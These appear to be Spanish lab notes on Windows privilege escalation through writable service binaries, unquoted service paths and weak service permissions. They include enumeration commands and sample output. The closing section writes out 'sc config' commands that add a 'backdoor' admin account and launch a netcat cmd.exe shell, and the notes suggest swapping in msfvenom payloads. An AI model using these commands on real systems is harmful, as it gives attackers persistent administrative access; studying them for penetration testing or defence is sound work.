Vamos a ver tres métodos para hacer privilege escalation en windows.

1.- Cuando tenemos permiso para escribir en algun folder donde hay algun servicio que empieza automáticamente o que lo podemos reiniciar o lo podemos DOS y windows lo reinicia automaticamente

2 .- Cuando el serivce path no tiene ” por ejemplo.

C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe
//vs
"C:\Program Files (x86)\Canon\IJ Scan Utility\SETEVENT.exe"

En el de arriba podemos injectar un programa en C:\Program.exe o C:\Program Files (x86)\Canon\IJ.exe

3 Cuando los permisos del servicio son debiles (Weak service permisions)

Veamos el método 1 cuando tenemos permiso para modificar un archivo.

Prerequisitos (pdf lab)

  1. Podemos modificar el archivo (Icalcs)
  2. El archivo corre como admin (wmic service)
  3. Podemos reiniciarlo (“sc stop/sc start” o la computadora “shutdown /r /t 0”)

Primero revisamos que esta corriendo

C:\Windows\system32>net start
net start
These Windows services are started:
 Base Filtering Engine
 COM+ Event System
 COM+ System Application
...

O con wmic

C:\Windows\system32>wmic service list brief
wmic service list brief
ExitCode Name ProcessId StartMode State Status
0 AeLookupSvc 0 Manual Stopped OK
1077 ALG 0 Manual Stopped OK

o la versión larga (que me dará si corre como local admin)

C:\Users\els>wmic service

Para revisar si tenemos permisos

C:\Windows\system32>icacls C:\windows\system32
icacls C:\windows\system32
C:\windows\system32 NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)

Solo tenemos read y execute (RX)
Icalcs me puede dar

F (full access)
M (modify access)
RX (read and execute access)
R (read-only access)
W (write-only access)

Para la lista de los que podemos modificar sin ser admins

C:\Windows\system32>wmic service WHERE "NOT PathName LIKE '%system32%'" GET PathName,
Name
wmic service WHERE "NOT PathName LIKE '%system32%'" GET PathName, Name
Name PathName
clr_optimization_v2.0.50727_32
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
ehRecvr C:\Windows\ehome\ehRecvr.exe
ehSched C:\Windows\ehome\ehsched.exe

Si podemos hacer esto solo tenemos que modificar el exe por alguno creado por msfvenom y reiniciar la computadora o el servicio.

Método 2 unquoted service path.

(video y presentacion)

 wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

//o 

sc qc "Some Vulnerable Service"

Revisamos que el servicio corra como local admin

Y que podamos modificar algun folder del path .

Luego subimos el payload de msfvenom  a VMware.exe del ejemplo anterior y reiniciamos el servicio (o la computadora)

Método 2 unquoted service path.

(lab .14)

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

Si te sale algo pudes modificar el binario

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>